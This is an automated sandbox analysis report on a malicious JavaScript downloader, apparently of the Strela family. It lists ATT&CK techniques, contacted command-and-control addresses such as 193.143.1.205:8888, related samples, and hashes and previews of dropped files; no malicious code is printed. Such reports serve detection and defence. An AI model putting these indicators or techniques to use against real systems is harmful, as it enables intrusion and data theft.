Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3130621478256819696.js	8%	Virustotal		Browse
3130621478256819696.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/:	net.exe, 00000007.00000002.2075797133.000002605F340000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3304720548.0000024E650A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2176128470.0000024E650A2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2088529581.0000024E64D80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2075797133.000002605F360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2075797133.000002605F38F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2075797133.000002605F340000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2075797133.000002605F368000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000007.00000002.2075797133.000002605F340000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590126
Start date and time:	2025-01-13 16:18:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3130621478256819696.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 54.224.241.105, 50.16.47.176, 34.237.241.83, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.22.50.144, 2.22.50.131, 23.209.209.135, 2.16.168.105, 2.16.168.107, 4.245.163.56, 23.56.162.204, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:18:56	API Interceptor	23x Sleep call for process: powershell.exe modified
10:19:00	API Interceptor	1x Sleep call for process: net.exe modified
10:19:01	API Interceptor	2x Sleep call for process: svchost.exe modified
10:19:12	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32230219901300318079.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2165116371124411090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528915004169812209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307224935364068
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugK:gJjJGtpTq2yv1AuNZRY3diu8iBVqF0
MD5:	7A13E3CBF0270C7AFDD6568969B5A276
SHA1:	03561EE1C12162B0F410561E3F1B02A77F6717EB
SHA-256:	48B6A4FF50DC34DC7F092C8B71908A1250B56D138C4920ECFB609035E5A83BAC
SHA-512:	01C6F8FCFB6A401A576B9E3934830CB016AAD2893171190A3B15DD0206832E075981CEE7FE2BB8FC0C585860FD706E481D6826CDEC9DB6BA7BE50F016E5ECFFA
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x680461b6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585721172142117
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	134370125AD07B8AE53C75FE34DAF777
SHA1:	ABC55AB5A2AE7CA9EA3F3D1BD4E99ED1CA855168
SHA-256:	CBD6A6E53C8C3A8D4D6AD5B67E421667073D6972F2B174217C95991E836E6071
SHA-512:	395F2A47A9CDC0D126C026359FA87E00E6B08D6ADEE01ED180421399CC9A03CFFC71F8251E6B6269992059E44A054F4004E4AB5C9D4401CDCEFF9F7BB2D7BE6D
Malicious:	false
Preview:	h.a.... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................=.~.....}.................>..h.....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08108998762756894
Encrypted:	false
SSDEEP:	3:5CtyYeTPxbGuAJkhvekl1Y2q5YaillrekGltll/SPj:0yzTPVrxliPnGJe3l
MD5:	EA3684A72342C31D2CCBF3D90EFCB9D1
SHA1:	6CD36A12E6309D21EEA68370D2A6A35B7510A714
SHA-256:	EFAEA32B03CF376F5BAB95804B28876645EF98A82307E30011225EB6C9E729A0
SHA-512:	8A6BEE2FE8C201A5607DD8C9AA69AF6EB16084F6462E5A0B5D5CCCCFDA4241B857F91DBD256EBD1D7AD8C6C50514ED80BE8E1356DC164864378D5F3428C28F7D
Malicious:	false
Preview:	.).......................................;...{.......}.......{...............{.......{...XL......{..................>..h.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1325298661320105
Encrypted:	false
SSDEEP:	6:iORR+q2P92nKuAl9OmbnIFUt2YAWZmwkY3VkwO92nKuAl9OmbjLJ:7j+v4HAahFUtTAW/F3V5LHAaSJ
MD5:	E4521E95AC9A99372D6FAF9C89AEDCE1
SHA1:	422D358F94FB86F4DD6B5B9F11F419AF209E6BC4
SHA-256:	34EB6F190670AE34BE1258BC4528C2227576026E48F04D411B022710AB7169E6
SHA-512:	D65AC89C59CE26F475A64DACBF830FD55B56D311F9825204B1284D359549C583E5E6C8ACF9A8332C4238C54731DB2F42B99356075B53F7F01D5134BD9D16BD98
Malicious:	false
Preview:	2025/01/13-10:19:01.365 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-10:19:01.370 1d3c Recovering log #3.2025/01/13-10:19:01.370 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1325298661320105
Encrypted:	false
SSDEEP:	6:iORR+q2P92nKuAl9OmbnIFUt2YAWZmwkY3VkwO92nKuAl9OmbjLJ:7j+v4HAahFUtTAW/F3V5LHAaSJ
MD5:	E4521E95AC9A99372D6FAF9C89AEDCE1
SHA1:	422D358F94FB86F4DD6B5B9F11F419AF209E6BC4
SHA-256:	34EB6F190670AE34BE1258BC4528C2227576026E48F04D411B022710AB7169E6
SHA-512:	D65AC89C59CE26F475A64DACBF830FD55B56D311F9825204B1284D359549C583E5E6C8ACF9A8332C4238C54731DB2F42B99356075B53F7F01D5134BD9D16BD98
Malicious:	false
Preview:	2025/01/13-10:19:01.365 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-10:19:01.370 1d3c Recovering log #3.2025/01/13-10:19:01.370 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.167136826226398
Encrypted:	false
SSDEEP:	6:iO63q2P92nKuAl9Ombzo2jMGIFUtwXZmwSFkwO92nKuAl9Ombzo2jMmLJ:763v4HAa8uFUtwX/SF5LHAa8RJ
MD5:	AF5A37BFEDA14B2B81995A4A3B8A2810
SHA1:	44BFF79FE3682A2EB9C881217766DC37116327EF
SHA-256:	D130837B18B3C5CC280C4C8E6023CF88452E39898AA358C25B15B44563290CE9
SHA-512:	800EF7B38778E2F42B187EB766E16FEB2487989AEE331FF93A6551702515B4C07705F420D3A35D170ABF71B60C4B3A85A8554EC297DC44627CBE5D2ABC73CCC5
Malicious:	false
Preview:	2025/01/13-10:19:01.347 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-10:19:01.348 1d60 Recovering log #3.2025/01/13-10:19:01.348 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.167136826226398
Encrypted:	false
SSDEEP:	6:iO63q2P92nKuAl9Ombzo2jMGIFUtwXZmwSFkwO92nKuAl9Ombzo2jMmLJ:763v4HAa8uFUtwX/SF5LHAa8RJ
MD5:	AF5A37BFEDA14B2B81995A4A3B8A2810
SHA1:	44BFF79FE3682A2EB9C881217766DC37116327EF
SHA-256:	D130837B18B3C5CC280C4C8E6023CF88452E39898AA358C25B15B44563290CE9
SHA-512:	800EF7B38778E2F42B187EB766E16FEB2487989AEE331FF93A6551702515B4C07705F420D3A35D170ABF71B60C4B3A85A8554EC297DC44627CBE5D2ABC73CCC5
Malicious:	false
Preview:	2025/01/13-10:19:01.347 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-10:19:01.348 1d60 Recovering log #3.2025/01/13-10:19:01.348 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\20a3f270-14ec-4e23-b9f7-38781ca26122.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0401528653159415
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZpsBdOg2Hpcaq3QYiubxnP7E4T3OF+:Y2sRdsNdMHQ3QYhbxP7nbI+
MD5:	E14CAD4A81E80E89338BA075E4ABE877
SHA1:	0AF80E99294BFE4557523EB6D44AD09812172EFB
SHA-256:	B27DC19427F9E8433AD4B017A13DDE5E6511535AFB8940AA04B135358B225CBA
SHA-512:	E5B9D6EE06DBE3B86807BA7EC969C0EAC95BE4367DF1EDEB97C45BC8B6BC575BEBF5040A193BA52B7A87C4D689E149102BADCDADA4989C3EE41E7F29FB8D85CB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381341552725319","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144222},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0401528653159415
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZpsBdOg2Hpcaq3QYiubxnP7E4T3OF+:Y2sRdsNdMHQ3QYhbxP7nbI+
MD5:	E14CAD4A81E80E89338BA075E4ABE877
SHA1:	0AF80E99294BFE4557523EB6D44AD09812172EFB
SHA-256:	B27DC19427F9E8433AD4B017A13DDE5E6511535AFB8940AA04B135358B225CBA
SHA-512:	E5B9D6EE06DBE3B86807BA7EC969C0EAC95BE4367DF1EDEB97C45BC8B6BC575BEBF5040A193BA52B7A87C4D689E149102BADCDADA4989C3EE41E7F29FB8D85CB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381341552725319","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144222},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235546909982058
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU+ZiY/E:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLK
MD5:	09631D66DC6B06D312EDF95AD01AA349
SHA1:	AEC3D212EC7E68229F817C2DF0F9F72FD1CCD0CC
SHA-256:	CC47A5D2A399DF03DE4A80D98B2F5B2682765CA179299A80F29448D89458E895
SHA-512:	3BF8D44C936CB9487EBB20029BC9E57AD51855DB7936C69541127A8719CBD952947DF937A132F26A1338D1220895AD4D5E319A2BEFBE1BADDC488D0E2C37AA03
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.138568308528306
Encrypted:	false
SSDEEP:	6:iO8q2P92nKuAl9OmbzNMxIFUtCyZmwQUokwO92nKuAl9OmbzNMFLJ:78v4HAa8jFUtCy/QUo5LHAa84J
MD5:	E163271A186D0072FEED4F6AD48B9270
SHA1:	3BF895F5F8A4D7FB6A7DFB81B68F457F6348CB98
SHA-256:	24236083CD1075FAC453F091511390701B6A0D076DE918BDC4EED4F5D300ACCD
SHA-512:	F1611B60541E117146588ADD90F794DB8BACE6112972B0517413DBA9AF9D16BA8BFE62667E9DC32D4947633AB2C13CFA3849C6F8322D3274322982ADA63C9DB8
Malicious:	false
Preview:	2025/01/13-10:19:01.639 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-10:19:01.640 1d60 Recovering log #3.2025/01/13-10:19:01.641 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.138568308528306
Encrypted:	false
SSDEEP:	6:iO8q2P92nKuAl9OmbzNMxIFUtCyZmwQUokwO92nKuAl9OmbzNMFLJ:78v4HAa8jFUtCy/QUo5LHAa84J
MD5:	E163271A186D0072FEED4F6AD48B9270
SHA1:	3BF895F5F8A4D7FB6A7DFB81B68F457F6348CB98
SHA-256:	24236083CD1075FAC453F091511390701B6A0D076DE918BDC4EED4F5D300ACCD
SHA-512:	F1611B60541E117146588ADD90F794DB8BACE6112972B0517413DBA9AF9D16BA8BFE62667E9DC32D4947633AB2C13CFA3849C6F8322D3274322982ADA63C9DB8
Malicious:	false
Preview:	2025/01/13-10:19:01.639 1d60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-10:19:01.640 1d60 Recovering log #3.2025/01/13-10:19:01.641 1d60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.736068239839641
Encrypted:	false
SSDEEP:	3:kkFklCakNttfllXlE/HT8kr1lz1NNX8RolJuRdxLlGB9lQRYwpDdt:kKbaseT8i1pNMa8RdWBwRd
MD5:	E6EFB57D506981F3A3BB43DEE1A42750
SHA1:	8B97C3CDB516DDC5DAF8A271B9B83D687D80E732
